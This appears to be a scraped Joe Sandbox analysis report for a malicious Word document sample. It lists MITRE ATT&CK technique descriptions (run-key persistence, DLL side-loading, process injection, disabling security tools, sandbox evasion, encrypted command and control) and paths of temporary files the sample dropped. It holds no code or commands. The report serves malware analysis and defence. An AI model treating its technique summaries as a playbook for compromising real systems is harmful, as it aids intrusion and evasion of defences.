Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 3pGxYMbJaA.doc

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{05B4E9E6-03C4-470A-B694-D81140026BB1}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{0DB77D08-0096-400F-8DAE-61E5CDCC7257}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{13D2D36B-876F-4E62-8550-191F20AA64AE}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{15671077-AB56-4971-8601-0115C9A95715}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{1679103B-8739-45D6-A618-5885C3124BE3}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{17894DAF-AB40-4438-A9E8-77F28A9307AA}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{199FE568-AD80-4129-A591-2656C8184D70}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{19F45C83-5106-4894-9E6D-F074949167CD}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2189C5A6-0E9C-48AD-89AA-CB98782ABFA3}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{2215CB90-B888-4F46-BDC9-F75986D1B4B3}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{227AEB15-0F9D-4236-87E9-88D78FA8F7ED}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{25657280-B461-4E67-A20E-5811CD04536E}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{25C9ADFE-F72B-436E-9F19-48EEFCB750B9}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{268DDE2A-618E-4864-AC46-F64644974DB9}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{27842A7B-2704-491A-8F48-98CFCB3FD2AA}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{285E5A0F-5F08-4ED1-866D-3508985E6248}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{28F2C042-4991-46F7-A19A-705A7EA19183}.tmp

Windows Analysis Report
3pGxYMbJaA.doc